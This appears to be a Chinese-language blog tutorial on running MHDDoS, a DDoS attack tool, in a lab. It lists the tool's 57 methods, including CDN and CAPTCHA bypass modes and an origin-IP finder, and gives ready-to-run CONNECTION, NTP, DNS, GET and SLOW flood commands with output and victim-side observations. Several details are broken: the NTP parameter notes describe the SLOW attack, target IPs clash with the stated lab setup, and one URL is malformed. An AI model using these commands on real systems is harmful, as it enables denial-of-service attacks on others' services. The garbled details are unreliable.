目錄

MHDDoS 攻擊使用

MHDDoS 介紹

Repo 連結,MHDDoS 是一個基於 Python 開發的開源分散式阻斷服務(DDoS)攻擊工具,他除了一般 L3/L4 攻擊模擬,還有很多 L7 應用層相關的攻擊模擬。

所以他的特色是 L7 應用層模擬,像是有一些參數甚至能發起攻擊繞過 Cloudflare 或 Google Shield 的基礎防護。

他也支援代理,原生支援使用 Proxy (像是 SOCKS4, SOCKS5) 來隱藏攻擊者來源,也可以用多個 Proxy 模擬 Bot 攻擊,但就是要受害者是要有公有 IP 服務,所以在內網實驗可能只能用空白的 Proxy。

工具參數

help 顯示參數如下:

adl@Twinkle:~/git_projects/MHDDoS$ python3 start.py  -h
* MHDDoS - DDoS Attack Script With 57 Methods
Note: If the Proxy list is empty, The attack will run without proxies
      If the Proxy file doesn't exist, the script will download proxies and check them.
      Proxy Type 0 = All in config.json
      SocksTypes:
         - 6 = RANDOM
         - 5 = SOCKS5
         - 4 = SOCKS4
         - 1 = HTTP
         - 0 = ALL
 > Methods:
 - Layer4
 | MCBOT, VSE, FIVEM, DNS, ARD, NTP, UDP, TCP, MINECRAFT, MEM, SYN, OVH-UDP, TS3, MCPE, CHAR, RDP, CPS, FIVEM-TOKEN, ICMP, CLDAP, CONNECTION | 21 Methods
 - Layer7
 | APACHE, DOWNLOADER, STRESS, NULL, EVEN, RHEX, XMLRPC, POST, TOR, GET, DGB, SLOW, KILLER, CFB, AVB, PPS, BOMB, BOT, GSB, HEAD, BYPASS, COOKIE, OVH, STOMP, CFBUAM, DYN | 26 Methods
 - Tools
 | INFO, TSSRV, CFIP, DSTAT, PING, DNS, CHECK | 7 Methods
 - Others
 | TOOLS, HELP, STOP | 3 Methods
 - All 57 Methods

Example:
   L7: python3 start.py <method> <url> <socks_type> <threads> <proxylist> <rpc> <duration> <debug=optional>
   L4: python3 start.py <method> <ip:port> <threads> <duration>
   L4 Proxied: python3 start.py <method> <ip:port> <threads> <duration> <socks_type> <proxylist>
   L4 Amplification: python3 start.py <method> <ip:port> <threads> <duration> <reflector file (only use with Amplification)>

這邊介紹他提供的不同類型 DDoS Method(總共 57 總):

  • L4 (python3 start.py <method> <ip:port> <threads> <duration>)
    • CONNECTION:TCP 全連線攻擊。完成三向交握並保持連線
    • SYN:TCP 半開連線
    • UDP / OVH-UDP:UDP 洪水
    • DNS / NTP / MEM / RDP:反射放大攻擊。偽造受害者 IP 向公網服務請求,利用倍率差(Amplification Factor)轟炸受害者
    • VSE / MCBOT / TS3:特定協議攻擊,針對遊戲(Source 引擎、Minecraft)或通訊軟體(Teamspeak)的自定義協議包
  • L7 (python3 start.py <method> <url> <socks_type> <threads> <proxylist> <rpc> <duration> <debug=optional>)
    • HTTP 洪水 (GET/POST/HEAD):模擬大量用戶存取網頁
    • SLOW:慢速攻擊,建立大量連線,但傳送資料極慢(例如每 10 秒才傳 1 byte)
    • 繞過與偵測 (BYPASS / CFB / GSB):這些模式專門設計來繞過防火牆或 CDN(如 Cloudflare)。它會自動處理 Cookie、User-Agent 變換,甚至是繞過驗證碼(CAPTCHA)挑戰

MHDDoS 還提供工具模式 (python3 start.py TOOLS),提供不同工具像是:

  • DSTAT: 監看本機網卡吞吐量(TX/RX)
  • CFIP (Cloudflare IP Finder): 試圖找出背後掛有 Cloudflare CDN 防護網站的真實原始伺服器 IP(Origin IP)
  • DNS (DNS Records Displayer): 顯示目標網域的各類 DNS 解析紀錄
python3 start.py TOOLS
python3 start.py TOOLS

模擬攻擊實驗

以下測試看看攻擊,要先注意一些設定:

  • ulimit -n 65535: 因為沒設定預設 Linux 是 1024 只能最多 1024 Threads

  • 因為要 No Proxy,所以使用 null 文件

    adl@Twinkle:~/MHDDoS$ ls files/proxies/null
    files/proxies/null

實驗環境攻擊機器 IP (10.0.0.3),受害者為 (10.0.0.4:8080) 網頁。

L3 TCP Connection Attack

攻擊者使用 python3 start.py CONNECTION 192.168.169.90:80 100 20,使用 100 threads 跑 20 秒。

/mhddos/image-1.png

上面,發起攻擊。

/mhddos/image-2.png

上面,如上看到相關的資訊,在 CONNECTION 模式下,攻擊機發出 ACK 或 PUSH 封包來維持連線,受害者則回傳對應的 ACK。因為連線已經建立,所以不需要像 Flood 那樣噴出幾十萬 PPS,只需要少量的流量就能「霸佔」住受害者的資源。

受害者用 watch -n 1 "ss -ant | grep ESTAB | wc -l" 會看到 ESTABLISH 連線變大。

1021 這個數字非常關鍵。在 Linux 中,一般使用者行程預設的 ulimit -n (最大開啟檔案數) 正好是 1024。

NTP Flood

# 格式: python3 start.py NTP <ip:port> <threads> <duration>
python3 start.py NTP 192.168.169.90:123 1000 600

參數解析:

  • 1: 代表使用 HTTP Proxy 模式(但在後方給空字串,它會自動跑直連)
  • 500: 建立 500 個慢速連線
  • “”: Proxy list 為空(因為你在 LAN 測試)
  • 10: 每個執行緒每秒發送的請求數(RPC),Slow Attack 建議設低一點,才有「慢速」的效果

注意:受害者端必須有跑 NTP 服務(如 ntpd),否則這只會變成單純的 UDP 垃圾包攻擊。

DNS Food

# 格式: python3 start.py DNS <ip:port> <threads> <duration>
python3 start.py DNS 192.168.169.90:53 1000 600

Get Flood

# 空檔案, 代表沒有 Proxy
adl@Twinkle:~/MHDDoS$ touch files/proxies/local.txt
adl@Twinkle:~/MHDDoS$ python3 start.py GET http://10.0.0.4:8080 0 1000 local.txt 100 60
[14:07:33 - INFO] Empty Proxy File, running flood without proxy
[14:07:33 - INFO] Attack Started to 10.0.0.4 with GET method for 60 seconds, threads: 1000

這是 L7 GET Flood 最經典的特徵。相較於 SYN Flood 只有負責網卡中斷的 %si(軟中斷)在跳,GET Flood 會直接把處理核心應用程式的 CPU 啃光。

  • 你會看到跑在 8080 連接埠的程序(不論是 nginx、node、python、java 還是 php-fpm),其 %CPU 會直接衝到 100%(或吃滿多個核心)
  • top 畫面最上方的 CPU 狀態,%us (User space) 或 %sy (System space) 會顯著飆高,而不再只是 %si。這是因為作業系統正花費極大的算力在處理 HTTP 協定解析與應用程式邏輯

L7 攻擊的流量極具「非對稱性」,通常是「進去少,出來多」。

  • rxkB/s(接收頻寬): 數字通常很小(可能只有幾 MB/s 到幾十 MB/s)。因為 10.0.0.3 發過來的請求封包極小(只有幾百個位元組)。
  • txkB/s(發送頻寬): 這裡大機率會直接噴發! 核心每收到一個合法的 GET 請求,8080 服務就必須回覆完整的 HTTP Header + 網頁 HTML Payload(哪怕只是個 Hello World 也有幾百位元組)。如果網頁含有圖片或大文字,伺服器的 Egress(對外頻寬)會瞬間被自己的回覆給灌滿。

ss -atn | grep :8080 | awk '{print $1}' | sort | uniq -c

  • 你會看到大量的 ESTABLISHED 狀態連線,這代表 100 個執行緒正在瘋狂與 8080 保持通訊。
  • 隨之而來的是鋪天蓋地的 TIME_WAIT 或 CLOSE_WAIT 狀態。因為短時間內大量的 HTTP 請求快速建立又快速關閉(如果沒開 Keep-Alive 尤為明顯),Linux 核心必須把這些用過的 Socket 丟進資源回收池卡死 60 秒,你會看到 TIME_WAIT 數字可能高達幾千甚至上萬。

如果 8080 連接埠前面有擋反向代理(如 Nginx),或者原生程式有開 Log,日誌會以肉眼不可見的速度狂噴。

L7 Slow Attack

# 格式: python3 start.py SLOW <url> <socks_type> <threads> <proxylist> <rpc> <duration>
python3 start.py SLOW http://10:0.0.4 1 500 "" 10 600

/mhddos/image-3.png

上面的 TIME_WAIT 指標會持續很久。